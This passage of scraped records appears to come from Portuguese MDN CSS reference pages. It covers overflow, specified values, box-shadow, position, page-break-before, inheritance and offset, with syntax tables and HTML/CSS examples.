preferido.\n\n`-moz-scrollbars-vertical` \nDeprecated\n\nO uso de `overflow-x` (en-US) e `overflow-y` (en-US) é preferido.\n\n-moz-hidden-unscrollable \nNon-standard\n\nÉ mantido principalmente para uso interno e por temas. Desabilita o rolamento de elementos raiz de XML e `<html>`, `<body>` mediante o uso das setas do teclado ou scroll do mouse.\n\nExemplos\n--------\n\n\n```css\np {\n  width: 12em;\n  border: dotted;\n  overflow: visible; /\\* Exibe o conteúdo de forma vazada, fora da caixa de conteúdo \\*/\n}\n```\n\n\n`visible` (default)\n Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.\n```\n\np { overflow: hidden; /* Esconde o conteúdo excedente */ }\n```\n\n\n`overflow: hidden`\n Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.\n```\n\np { overflow: scroll; /* Sempre exibe barras de rolagem */ }\n```\n\n\n`overflow: scroll`\n Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.\n```\n\np { overflow: auto; /* Exibe barras de rolagem apenas se necessário */ }\n```\n\n\n`overflow: auto`\n Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Overflow Module Level 3 # propdef-overflow |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Propriedades CSS relacionadas: `text-overflow`, `white-space`, `overflow-x` (en-US), `overflow-y` (en-US), `clip` (en-US), `display`"}
{"title":"Valor Especifícado - CSS","text":"Valor Especifícado\n==================\n\nO **valor especificado** de uma propriedade CSS está definido em uma de três maneiras.\n\n1. If the document's stylesheet has specified a value for the property then it will be used. For example; if the `color` property is set to `green` then the text color of the corresponding element will be green.\n2. If the document's stylesheet has not specified a value then it will be inherited form the parent element (if possible). For example; if we have a paragraph (`<p>`) inside a `<div>` and the `<div>` has a CSS `font` property value of \"Arial\" and the `<p>` doesn't have a `font` property defined then it will inherit the Arial font.\n3. If none of the above are available, the initial value for the element as specified by the CSS specification is applied.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Cascading Style Sheets Level 2 Revision 2 (CSS 2.2) Specification # specified-value |\n\nVeja também\n-----------\n\n* CSS Reference"}
{"title":"box-shadow - CSS","text":"box-shadow\n==========\n\nO **`box-shadow`** é uma propriedade do CSS, é utilizado para adicionar efeitos de sombra em volta de um elemento. Você pode especificar mais de um efeito, os separando com virgulas.\n\nUma box-shadow é descrita pelo deslocamentos (offset) X e Y em relação ao elemento, desfoco e propagação do raio e cor.\n\n\n```css\n/\\* offset-x | offset-y | color \\*/\nbox-shadow: 60px -16px teal;\n\n/\\* offset-x | offset-y | blur-radius | color \\*/\nbox-shadow: 10px 5px 5px black;\n\n/\\* offset-x | offset-y | blur-radius | spread-radius | color \\*/\nbox-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2);\n\n/\\* inset | offset-x | offset-y | color \\*/\nbox-shadow: inset 5em 1em gold;\n\n/\\* Any number of shadows, separated by commas \\*/\nbox-shadow:\n  3px 3px red,\n  -1em 0 0.4em olive;\n\n/\\* Global keywords \\*/\nbox-shadow: inherit;\nbox-shadow: initial;\nbox-shadow: unset;\n```\n\n\n\n```css\nbox-shadow: 60px -16px teal;\n```\n\n\n\n```css\nbox-shadow: 10px 5px 5px black;\n```\n\n\n\n```css\nbox-shadow:\n  3px 3px red,\n  -1em 0 0.4em olive;\n```\n\n\n\n```css\nbox-shadow: inset 5em 1em gold;\n```\n\n\n\n```css\nbox-shadow: 0 0 1em gold;\n```\n\n\n\n```css\nbox-shadow: inset 0 0 1em gold;\n```\n\n\n\n```css\nbox-shadow:\n  inset 0 0 1em gold,\n  0 0 1em red;\n```\n\n\nA propriedade box-shadow permite que você adicione uma sombra em quase qualquer elemento. Se um `border-radius` (en-US) for especificado no elemento com uma box-shadow, a sombra assume os mesmos cantos arredondados. O comando z-ordering de múltiplas box-shadows é o mesmo que múltiplas text shadows (a primeira sombra especificada está na parte superior).\n\nBox-shadow generator (en-US) é uma ferrament interativa qu permite a criação de `box-shadow`.\n\n|  |  |\n| --- | --- |\n| Initial value | `none` |\n| Aplica-se a | all elements. It also applies to `::first-letter`. |\n| Inherited | não |\n| Computed value | any length made absolute; any specified color computed; otherwise as specified |\n| Animation type | a shadow list |\n\nSintaxe\n-------\n\nEspecificando uma única box-shadow usando:\n\n* Dois, três ou quatro valores para `<length>` (en-US).\n    + Se apenas dois valores forem definidos, eles serão interpretados como valores de `<offset-x><offset-y>`.\n    + Se o terceiro valor for dados, é interpretado como `<blur-radius>`.\n    + Se o quarto valor for dados, é interpretado como `<spread-radius>`.\n* Opcionalmente, o atributo `inset`.\n* Opcionalmente, o valor `<color>`.\n\nPara especificar mais de uma sombra, separe-as com virgula.\n\n### Valores\n\n`inset`\n\n Se não for especificado, a sombra ganha o efeito de como se a caixa fosse aumentada acima do conteúdo).\n A presença da palavra-chave `inset` muda a sombra para dentro da moldura (como se o conteúdo estivesse pressionado dentro da caixa). As sombras de inserção são desenhadas dentro da borda (mesmo as transparentes), acima do plano de fundo, mas abaixo do conteúdo.\n\n\n`<offset-x>` `<offset-y>`\n\nExistem dois valores `<length>` (en-US) para configurar o desvio (offset) da sombra:\n\n* `<offset-x>` especifica a distância horizontal. Valores negativos colocarão a sombra à esquerda do elemento.\n* `<offset-y>` especifca a distância vertical. Valores negativos colocam a sombra acima do elemento.\n\nConsulte `<length>` (en-US) para as unidades disponíveis.\n\nSe ambos os valores forem `0`, a sombra será posicionada atrás do elemento (e poderá gerar um efeito de desfocagem caso `<blur-radius>` e/ou `<spread-radius>` estiverem configurados).\n\n`<blur-radius>`\n\nEste é um terceiro valor para `<length>` (en-US). Quanto maior for este valor, maior o efeito de desfocagem, desta forma a sombra se tornará maior e mais clara. Valores negativos não são permitidos. Se não for especificado, o valor padrão é `0` (os limites da sombra serão retos). A especificação não inclui um algoritmo exato de como o raio de esmaecimento deve ser calculado, no entanto, descreve o seguinte:\n\n> \n> ...para uma sombra com bordas longas e retas, deverá ser criada uma transição de cor do comprimento da distância de desfocagem que é perpendicular e centralizada com as bordas da sombra, e isto deve variar da cor total da sombra do seu ponto central até totalmente transparente no ponto final fora dela.\n> \n> \n> \n\n`<spread-radius>`\n\nEste é um quarto valor de `<length>` (en-US). Valores positivos farão com que a sombra expanda e cresça maior, valores negativos farão com que a sombra encolha. Se não for especificado, o valor padrão é `0` (a sombra terá o mesmo tamanho do elemento)\n\n`<color>`\n\nConsulte `<color>` para possiveis palavras-chave e notações. Se não for especificada, a cor que será utilizada vai depender do navegador - geralmente é o valor da propriedade `color`, mas tenha em mente que o Safari atualmente imprime uma sombra transparente neste caso.\n\n### Interpolação\n\nEach shadow in the list (treating `none` as a 0-length list) is interpolated via the color (as color) component, and x, y, blur, and (when appropriate) spread (as length) components. For each shadow, if both input shadows are or are not `inset`, then the interpolated shadow must match the input shadows in that regard. If any pair of input shadows has one `inset` and the other not `inset`, the entire shadow list is uninterpolable. If the lists of shadows have different lengths, then the shorter list is padded at the end with shadows whose color is `transparent`, all lengths are `0`, and whose `inset` (or not) matches the longer list.\n\n### Formal syntax\n```\n\nbox-shadow =   \n  <spread-shadow># (en-US)    \n  \n<spread-shadow> =   \n  <'box-shadow-color'>? (en-US)                               && (en-US)  \n  [ (en-US) <'box-shadow-offset'> [ (en-US) <'box-shadow-blur'> <'box-shadow-spread'>? (en-US) ] (en-US)? (en-US) ] (en-US)  && (en-US)  \n  <'box-shadow-position'>? (en-US)                              \n  \n```\n\nLive examples\n-------------\n\n* box-shadow test\n* box-shadow tutorial and examples\n* Box Shadow CSS Generator\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Backgrounds and Borders Module Level 3 # box-shadow |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* The `<color>` data type\n* Other color-related properties: `color`, `background-color`, `border-color` (en-US), `outline-color` (en-US), `text-decoration-color` (en-US), `text-emphasis-color` (en-US), `caret-color` (en-US), and `column-rule-color` (en-US)\n* Applying color to HTML elements using CSS"}
{"title":"position - CSS","text":"position\n========\n\nA propriedade **`position`**, encontrada no CSS, define como um elemento pode ser posicionado (renderizado) no documento (página). Essa propriedade (**`position`**) pode ser acompanhada de outras, tais como, `top` (en-US), `right` (en-US), `bottom` (en-US), and `left` (en-US), que determinam como ficará a localização final do objeto, permitindo seu deslocamento, como será apresentado adiante.Experimente\n-----------\n\n### Tipos de posicionamentos\n\n* Um **elemento posicionado** é um elemento cujo valor de sua posição pode ser computado (calculado) (en-US) como `relative`, `absolute`, `fixed`, or `sticky`. ( Em outras palavras, são todos esses, com exceção do `static`, sendo estático o valor como padrão do elemento.)\n* Um elemento denominado com **posicionamento relativo**, ou **relatively positioned element**, é um elemento cuja função é calculada (en-US) ao ser definida a `position` como valor `relative`. Com isso, a propriedade `top` (en-US) e `bottom` (en-US) determinam o deslocamento ou projeção vertical a posição padrão do elemento que estava definida por `static`; Não sendo outro, o `left` (en-US) e o `right` (en-US), por sua vez, determinam o deslocamento horizontal.\n* Um elemento denominado com **posicionamento absoluto**, ou **absolutely positioned element**, é um elemento determinado e calculado ao atribuir ao `position` o valor `absolute` ou `fixed`. Com `top` (en-US), `right` (en-US), `bottom` (en-US), and `left` (en-US) é possível especificar o deslocamento das laterais (bordas) dos blocos que contêm (containing block (en-US)) os elementos. (O containing block, ou blocos que envolvem um elemento é definido como um antecessor relativo ao qual o elemento está posicionado, acomplado ou englobado. Se por ventura o elemento tiver definido margens (margin), ele são adicionados ao deslocamento (offset). O elemento estabelecerá um novo contexto de formatação do bloco (en-US) (BFC) para seus conteúdos.\n* Um elemento denominado com **posicionamento adesivo** ( ! ), ou **stickily positioned element**, é um elemento determinado e calculado ao atribuir ao `position` como valor `sticky`. Sendo tratado como um posicionamento relativo até que ultrapasse (atinja) os limites do bloco no qual está contido. (Se assemelha a configurar a propriedade `top` (en-US) com um valor diferente de automático (auto)) Dentro do seu fluxo principal (fluxo raiz, ou o contêiner no qual ele desloca-se), No momento que há o deslocamento da página o elemento é tratado como \"preso\" ou \"stuck\" até encontrar-se com as paredes opostas do bloco no qual esteja contido.\n\nMaior parte do tempo, um **elemento de posicionamento absoluto** que tem `height` e `width` configurados como `auto` são dimensionados de acordo com seu conteúdo interno. However, non-replaced (en-US), absolutely positioned elements can be made to fill the available vertical space by specifying both `top` (en-US) and `bottom` (en-US) and leaving `height` unspecified (that is, `auto`). They can likewise be made to fill the available horizontal space by specifying both `left` (en-US) and `right` (en-US) and leaving `width` as `auto`.\n\nExceto para esses casos descritos abaixo (para elementos de posicionamento absoluto que preenchem o espaço disponível):\n\n* Se ambos `top` e `bottom` são definidos (tecnicamento não sendo `auto`), `top` prevalece.\n* Se ambos `left` e `right` são definidos, `left` prevalece quando `direction` (en-US) é `ltr` (Direção da escrita Portuguesa, Japonês na horizontal, etc.) e `right` prevalece quando `direction` (en-US) for configurado `rtl` ( Padrão de escrita em idiomas como Persa, Arabe, Hebraico, etc.).\nSintaxe\n-------\n\nA propriedade `position` é definida com apenas uma palavra-chave da lista abaixo.\n\n### Valores\n\n`static`\n\nO elemento é posicionado de acordo com o fluxo normal do documento. O `top` (en-US), `right` (en-US), `bottom` (en-US), `left` (en-US), e `z-index` (en-US) propriedades *não têm efeito.*. Este é o valor padrão.\n\n`relative`\n\nO elemento é posicionado de acordo com o fluxo normal do documento e, em seguida, deslocado *em relação a si mesmo* com base nos valores de `top`, `right`, `bottom`, e `left`. O deslocamento não afeta a posição de nenhum outro elemento; assim, o espaço dado para o elemento no layout da página é o mesmo que se a posição fosse `static`.\n\nEste valor cria um novo stacking context (contexto de empilhamento) (en-US) quando o valor de `z-index` não for `auto`. Seu efeito em `table-*-group`, `table-row`, `table-column`, `table-cell` e os elementos `table-caption` são indefinidos.\n\n`absolute`\n\nO elemento é removido do fluxo normal de documentos e nenhum espaço é criado para o elemento no layout da página. Ele é posicionado em relação ao seu ancestral posicionado mais próximo, se houver; caso contrário, ele é colocado em relação ao inicial containing block (en-US). Sua posição final é determinada pelos valores de `top`, `right`, `bottom`, e `left`.\n\nEste valor cria um novo stacking context (en-US) quando o valor de `z-index` não é `auto`. As margens das caixas posicionadas absolutamente não collapse com outras margens.\n\n`fixed`\n\nO elemento é removido do fluxo normal de documentos e nenhum espaço é criado para o elemento no layout da página. Ele está posicionado em relação ao inicial containing block (en-US) estabelecido pelo viewport, exceto quando um de seus ancestrais tiver uma propriedade `transform`, `perspective` ou `filter` definida como algo diferente de `none` (see the CSS Transforms Spec), nesse caso, esse ancestral se comporta como o bloco que o contém. (Observe que há inconsistências no navegador com `perspective` e `filter` contribuindo para conter a formação do bloco.) Sua posição final é determinada pelos valores de `top`, `right`, `bottom` e `left`.\n\nEste valor sempre cria um novo stacking context (en-US). Em documentos impressos, o elemento é colocado na mesma posição em *todas as páginas*.\n\n`sticky`\n\nO elemento é posicionado de acordo com o fluxo normal do documento e, em seguida, deslocado em relação ao *ancestral de rolagem mais próximo* e containing block (en-US) (ancestral de nível de bloco mais próximo), incluindo elementos relacionados à tabela, com base nos valores de `top`, `right`, `bottom` e `left`. O deslocamento não afeta a posição de nenhum outro elemento.\n\nEste valor sempre cria um novo stacking context (en-US). Observe que um elemento sticky \"gruda\" em seu ancestral mais próximo que possui um \"mecanismo de rolagem\" (criado quando `overflow` é `hidden`, `scroll`, `auto` ou `overlay`), mesmo que esse ancestral não seja o ancestral de rolagem mais próximo. Isso inibe efetivamente qualquer comportamento \"pegajoso\" (see the Github issue on W3C CSSWG).\n\n### Sintáxe formal\n```\n\nposition =   \n  static       | (en-US)  \n  relative     | (en-US)  \n  absolute     | (en-US)  \n  sticky       | (en-US)  \n  fixed        | (en-US)  \n  <running()>    \n  \n<running()> =   \n  running( <custom-ident> (en-US) )    \n  \n```\n\nExemplos\n--------\n\n### Posicionamento relativo\n\nRelatively positioned elements are offset a given amount from their normal position within the document, but without the offset affecting other elements. In the example below, note how the other elements are placed as if \"Two\" were taking up the space of its normal location.\n\n#### HTML\n\n\n```html\n<div class=\"box\" id=\"one\">One</div>\n<div class=\"box\" id=\"two\">Two</div>\n<div class=\"box\" id=\"three\">Three</div>\n<div class=\"box\" id=\"four\">Four</div>\n```\n\n\n#### CSS\n\n\n```css\n.box {\n  display: inline-block;\n  width: 100px;\n  height: 100px;\n  background: red;\n  color: white;\n}\n\n#two {\n  position: relative;\n  top: 20px;\n  left: 20px;\n  background: blue;\n}\n```\n\n### Posicionamento absoluto\n\nElements that are relatively positioned remain in the normal flow of the document. In contrast, an element that is absolutely positioned is taken out of the flow; thus, other elements are positioned as if it did not exist. The absolutely positioned element is positioned relative to its *nearest positioned ancestor* (i.e., the nearest ancestor that is not `static`). If a positioned ancestor doesn't exist, it is positioned relative to the ICB (initial containing block — see also the W3C definition), which is the containing block of the document's root element.\n\nA simple example follows:\n\n\n```html\n<h1>Absolute positioning</h1>\n\n<p>\n  I am a basic block level element. My adjacent block level elements sit on new\n  lines below me.\n</p>\n\n<p class=\"positioned\">\n  By default we span 100% of the width of our parent element, and we are as tall\n  as our child content. Our total width and height is our content + padding +\n  border width/height.\n</p>\n\n<p>\n  We are separated by our margins. Because of margin collapsing, we are\n  separated by the width of one of our margins, not both.\n</p>\n\n<p>\n  inline elements <span>like this one</span> and <span>this one</span> sit on\n  the same line as one another, and adjacent text nodes, if there is space on\n  the same line. Overflowing inline elements\n  <span>wrap onto a new line if possible — like this one containing text</span>,\n  or just go on to a new line if not, much like this image will do:\n  <img src=\"long.jpg\" />\n</p>\n```\n\n\n\n```css\nbody {\n  width: 500px;\n  margin: 0 auto;\n}\n\np {\n  background: aqua;\n  border: 3px solid blue;\n  padding: 10px;\n  margin: 10px;\n}\n\nspan {\n  background: red;\n  border: 1px solid black;\n}\n\n.positioned {\n  position: absolute;\n  background: yellow;\n  top: 30px;\n  left: 30px;\n}\n```\n\n### Posicionamento fixo\n\nFixed positioning is similar to absolute positioning, with the exception that the element's containing block (en-US) is the initial containing block established by the *viewport*, unless any ancestor has `transform`, `perspective`, or `filter` property set to something other than `none` (see CSS Transforms Spec), which then causes that ancestor to take the place of the elements containing block (en-US). This can be used to create a \"floating\" element that stays in the same position regardless of scrolling. In the example below, box \"One\" is fixed at 80 pixels from the top of the page and 10 pixels from the left. Even after scrolling, it remains in the same place relative to the viewport.\n\n#### HTML\n\n\n```html\n<div class=\"outer\">\n  <p>\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor\n    eget pulvinar lobortis. Vestibulum ante ipsum primis in faucibus orci luctus\n    et ultrices posuere cubilia Curae; Nam ac dolor augue. Pellentesque mi mi,\n    laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.\n    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut\n    arcu aliquam purus viverra dictum vel sit amet mi. Duis nisl mauris, aliquam\n    sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem\n    aliquam, congue porttitor tortor. Sed tempor nisl a lorem consequat, id\n    maximus erat aliquet. Sed sagittis porta libero sed condimentum. Aliquam\n    finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id\n    ultrices ultrices, tempor et tellus.\n  </p>\n  <p>\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor\n    eget pulvinar lobortis. Vestibulum ante ipsum primis in faucibus orci luctus\n    et ultrices posuere cubilia Curae; Nam ac dolor augue. Pellentesque mi mi,\n    laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.\n    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut\n    arcu aliquam purus viverra dictum vel sit amet mi. Duis nisl mauris, aliquam\n    sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem\n    aliquam, congue porttitor tortor. Sed tempor nisl a lorem consequat, id\n    maximus erat aliquet. Sed sagittis porta libero sed condimentum. Aliquam\n    finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id\n    ultrices ultrices, tempor et tellus.\n  </p>\n  <div class=\"box\" id=\"one\">One</div>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n.box {\n  width: 100px;\n  height: 100px;\n  background: red;\n  color: white;\n}\n\n#one {\n  position: fixed;\n  top: 80px;\n  left: 10px;\n  background: blue;\n}\n\n.outer {\n  width: 500px;\n  height: 300px;\n  overflow: scroll;\n  padding-left: 150px;\n}\n```\n\n### Posicionamento Adesivo\n\nSticky positioning can be thought of as a hybrid of relative and fixed positioning. A stickily positioned element is treated as relatively positioned until it crosses a specified threshold, at which point it is treated as fixed until it reaches the boundary of its parent. For instance...\n\n\n```css\n#one {\n  position: sticky;\n  top: 10px;\n}\n```\n\n\n...would position the element with id *one* relatively until the viewport were scrolled such that the element would be less than 10 pixels from the top. Beyond that threshold, the element would be fixed to 10 pixels from the top.\n\nA common use for sticky positioning is for the headings in an alphabetized list. The \"B\" heading will appear just below the items that begin with \"A\" until they are scrolled offscreen. Rather than sliding offscreen with the rest of the content, the \"B\" heading will then remain fixed to the top of the viewport until all the \"B\" items have scrolled offscreen, at which point it will be covered up by the \"C\" heading, and so on.\n\nYou must specify a threshold with at least one of `top`, `right`, `bottom`, or `left` for sticky positioning to behave as expected. Otherwise, it will be indistinguishable from relative positioning.\n\n#### HTML\n\n\n```html\n<dl>\n  <div>\n    <dt>A</dt>\n    <dd>Andrew W.K.</dd>\n    <dd>Apparat</dd>\n    <dd>Arcade Fire</dd>\n    <dd>At The Drive-In</dd>\n    <dd>Aziz Ansari</dd>\n  </div>\n  <div>\n    <dt>C</dt>\n    <dd>Chromeo</dd>\n    <dd>Common</dd>\n    <dd>Converge</dd>\n    <dd>Crystal Castles</dd>\n    <dd>Cursive</dd>\n  </div>\n  <div>\n    <dt>E</dt>\n    <dd>Explosions In The Sky</dd>\n  </div>\n  <div>\n    <dt>T</dt>\n    <dd>Ted Leo &amp; The Pharmacists</dd>\n    <dd>T-Pain</dd>\n    <dd>Thrice</dd>\n    <dd>TV On The Radio</dd>\n    <dd>Two Gallants</dd>\n  </div>\n</dl>\n```\n\n\n#### CSS\n\n\n```css\n\\* {\n  box-sizing: border-box;\n}\n\ndl > div {\n  background: #fff;\n  padding: 24px 0 0 0;\n}\n\ndt {\n  background: #b8c1c8;\n  border-bottom: 1px solid #989ea4;\n  border-top: 1px solid #717d85;\n  color: #fff;\n  font:\n    bold 18px/21px Helvetica,\n    Arial,\n    sans-serif;\n  margin: 0;\n  padding: 2px 0 0 12px;\n  position: -webkit-sticky;\n  position: sticky;\n  top: -1px;\n}\n\ndd {\n  font:\n    bold 20px/45px Helvetica,\n    Arial,\n    sans-serif;\n  margin: 0;\n  padding: 0 0 0 12px;\n  white-space: nowrap;\n}\n\ndd + dd {\n  border-top: 1px solid #ccc;\n}\n```\n\nAccessibility concerns\n----------------------\n\nEnsure that elements positioned with an `absolute` or `fixed` value do not obscure other content when the page is zoomed to increase text size.\n\n* MDN Understanding WCAG, Guideline 1.4 explanations (en-US)\n* Visual Presentation: Understanding SC 1.4.8 | Understanding WCAG 2.0\n### Performance & Accessibility\n\nScrolling elements containing `fixed` or `sticky` content can cause performance and accessibility issues. As a user scrolls, the browser must repaint the sticky or fixed content in a new location. Depending on the content needing to be repainted, the browser performance, and the device's processing speed, the browser may not be able to manage repaints at 60 fps, causing accessibility concerns for people with sensitivities and jank for everyone. One solution is to add `will-change: transform` to the positioned elements to render the element in its own layer, improving repaint speed and therefore improving performance and accessibility.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Positioned Layout Module Level 3 # position-property |\n\n|  |  |\n| --- | --- |\n| Initial value | `static` |\n| Aplica-se a | all elements |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n| Creates stacking context | yes |\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"page-break-before - CSS","text":"page-break-before\n=================\n\n> \n> **Warning:** Esta propriedade foi substituída pela propriedade `break-before` (en-US).\n> \n> \n> \n\nA propriedade CSS **`page-break-before`** ajusta as \"quebras de páginas\" *antes* do elemento atual.\n\nEsta propriedade aplica-se para elementos em bloco (block) que geram uma caixa. Não será aplicada em uma `<div>` vazia que não irá gerar uma caixa (box).\n\n\n```css\n/\\* Keyword values \\*/\npage-break-before: auto;\npage-break-before: always;\npage-break-before: avoid;\npage-break-before: left;\npage-break-before: right;\npage-break-before: recto;\npage-break-before: verso;\n\n/\\* Global values \\*/\npage-break-before: inherit;\npage-break-before: initial;\npage-break-before: unset;\n```\n\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | block-level elements in the normal flow of the root element. User agents may also apply it to other elements like `table-row` elements. |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nPage break aliases\n------------------\n\nA propriedade `page-break-before` agora é uma propriedade legada, substituída por `break-before` (en-US).\n\nPor motivos de compatibilidade, `page-break-before` é tratada pelos navegadores como um alias de `break-before`. Isso garante que sites usando `page-break-before` continuem a funcionar. Um subconjunto de valores deve manter aliases como a seguir:\n\n| page-break-before | break-before |\n| --- | --- |\n| `auto` | `auto` |\n| `left` | `left` |\n| `right` | `right` |\n| `avoid` | `avoid` |\n| `always` | `page` |\n\nSyntax\n------\n\n### Values\n\n`auto`\n\nInitial value. Automatic page breaks (neither forced nor forbidden).\n\n`always`\n\nAlways force page breaks before the element.\n\n`avoid`\n\nAvoid page breaks before the element.\n\n`left`\n\nForce page breaks before the element so that the next page is formatted as a left page.\n\n`right`\n\nForce page breaks before the element so that the next page is formatted as a right page.\n\n`recto` \nExperimental\n\nIf pages progress left-to-right, then this acts like `right`. If pages progress right-to-left, then this acts like `left`.\n\n`verso` \nExperimental\n\nIf pages progress left-to-right, then this acts like `left`. If pages progress right-to-left, then this acts like `right`.\n\n### Formal syntax\n```\n\npage-break-before =   \n  auto     | (en-US)  \n  always   | (en-US)  \n  avoid    | (en-US)  \n  left     | (en-US)  \n  right    | (en-US)  \n  inherit    \n  \n```\n\nExamples\n--------\n\n\n```css\n/\\* avoid page break before the div \\*/\ndiv.note {\n  page-break-before: avoid;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Logical Properties and Values Level 1 # page |\n| CSS Paged Media Module Level 3 # page-break-before |\n\nBrowser compatibility\n---------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `break-before` (en-US), `break-after` (en-US), `break-inside` (en-US)\n* `page-break-after` (en-US), `page-break-inside` (en-US)\n* `orphans` (en-US), `widows` (en-US)"}
{"title":"Herança - CSS","text":"Herança\n=======\n\nResumo\n------\n\nO resumo de cada definição de propriedade do CSS diz se tal propriedade é herdada por padrão (\"Inherited\": sim) ou é não herdada por padrão (\"Inherited\": não). Isso controla o que ocorre quando nenhum valor é especificado para uma propriedade em um elemento.\n\nPropriedades herdadas\n---------------------\n\nQuando nenhum valor de uma **propriedade herdada** foi especificado em um elemento, o elemento obtém o valor computado desta propriedade em seu elemento pai. Apenas o elemento raiz do documento obtém o valor inicial dado no resumo da propriedade.\n\nUm exemplo típico de uma propriedade herdada é a propriedade `color`. Dadas as seguintes regras de estilo:\n\n\n```css\np {\n  color: green;\n}\n```\n\n\ne o markup:\n\n\n```html\n<p>Este paragrafo tem <em>texto enfatizado</em> dentro dele.</p>\n```\n\n\nAs palavras \"texto enfatizado\" vão aparecer em verde, já que o elemento `em` herdou o valor da propriedade `color` do elemento `p`. Ele *não* obtém o valor inicial da propriedade (o qual é a cor usada pelo elemento raiz quando a página não especifica nenhuma cor).\n\nPropriedades não herdadas\n-------------------------\n\nQuando nenhum valor para uma **propriedade não herdada** (algumas vezes chamada de **reset property** em código Mozilla) é especificado em um elemento, o elemento obtém o valor inicial (en-US) desta propriedade (como especificado no resumo da propriedade).\n\nUm exemplo típico de uma propriedade não herdada é a propriedade `border` (en-US). Dadas as seguintes regras de estilo:\n\n\n```css\np {\n  border: medium solid;\n}\n```\n\n\ne o markup\n\n\n```html\n<p>Este paragrafo tem <em>texto enfatizado</em> dentro dele.</p>\n```\n\n\nAs palavras \"texto enfatizado\" não vão ter uma borda (já que o valor inicial de `border-style` (en-US) é `none`).\n\nNotas\n-----\n\nA palavra-chave `inherit` (en-US) permite aos autores especificar explicitamente a herança. Ela funciona tanto em propriedades herdadas como não herdadas.\n\nVeja também\n-----------\n\n* Referência CSS\n* `inherit` (en-US)"}
{"title":"offset - CSS","text":"offset\n======\n\nBaseline 2023\n-------------\n\nNewly availableSince August 2023, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade CSS **`offset`** é uma propriedade abreviada para animar um elemento ao longo de um caminho definido.\n\n**Nota:** As primeiras versões da especificação chamam essa propriedade de `motion`.\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `offset-position` (en-US): `normal`\n* `offset-path` (en-US): `none`\n* `offset-distance` (en-US): `0`\n* `offset-anchor` (en-US): `auto`\n* `offset-rotate` (en-US): `auto`\n |\n| Aplica-se a | qualquer elemento transformavel |\n| Inherited | não |\n| Percentages | as each of the properties of the shorthand:* `offset-position` (en-US): refer to the size of containing block\n* `offset-distance` (en-US): refer to the total path length\n* `offset-anchor` (en-US): relative to the width and the height of the element's reference box\n |\n| Computed value | as each of the properties of the shorthand:* `offset-position` (en-US): for `length` (en-US) the absolute value, otherwise a percentage\n* `offset-path` (en-US): as specified\n* `offset-distance` (en-US): for `length` (en-US) the absolute value, otherwise a percentage\n* `offset-anchor` (en-US): for `length` (en-US) the absolute value, otherwise a percentage\n* `offset-rotate` (en-US): as specified\n |\n| Animation type | as each of the properties of the shorthand:* `offset-position` (en-US): a position\n* `offset-path` (en-US): by computed value type\n* `offset-distance` (en-US): a length, percentage or calc();\n* `offset-anchor` (en-US): a position\n* `offset-rotate` (en-US): as <angle>, <basic-shape> or <path()>\n |\n| Creates stacking context | yes |\n\nSintaxe\n-------\n\n\n```css\n/\\* Posição do offset \\*/\noffset: auto\noffset: 10px 30px;\noffset: none;\n\n/\\* Caminho do offset \\*/\noffset: ray(45deg closest-side);\noffset: path(M 100 100 L 300 100 L 200 300 z);\noffset: url(arc.svg);\n\n/\\* Caminho do offset com distância e/ou rotação \\*/\noffset: url(circle.svg) 100px;\noffset: url(circle.svg) 40%;\noffset: url(circle.svg) 30deg;\noffset: url(circle.svg) 50px 20deg;\n\n/\\* Incluindo âncora no offset \\*/\noffset: ray(45deg closest-side) / 40px 20px;\noffset: url(arc.svg) 2cm / 0.5cm 3cm;\noffset: url(arc.svg) 30deg / 50px 100px;\n```\n\n### Sintaxe formal\n```\n\noffset =   \n  [ (en-US) <'offset-position'>? (en-US) [ (en-US) <'offset-path'> [ (en-US) <'offset-distance'> || (en-US) <'offset-rotate'> ] (en-US)? (en-US) ] (en-US)? (en-US) ]! [ (en-US) / <'offset-anchor'> ] (en-US)? (en-US)    \n  \n```\n\nExemplo\n-------\n\n### HTML\n\n\n```html\n<div id=\"offsetElement\"></div>\n```\n\n### CSS\n\n\n```css\n@keyframes move {\n  from {\n    offset-distance: 0%;\n  }\n\n  to {\n    offset-distance: 100%;\n  }\n}\n\n#offsetElement {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  offset: path(\"M 100 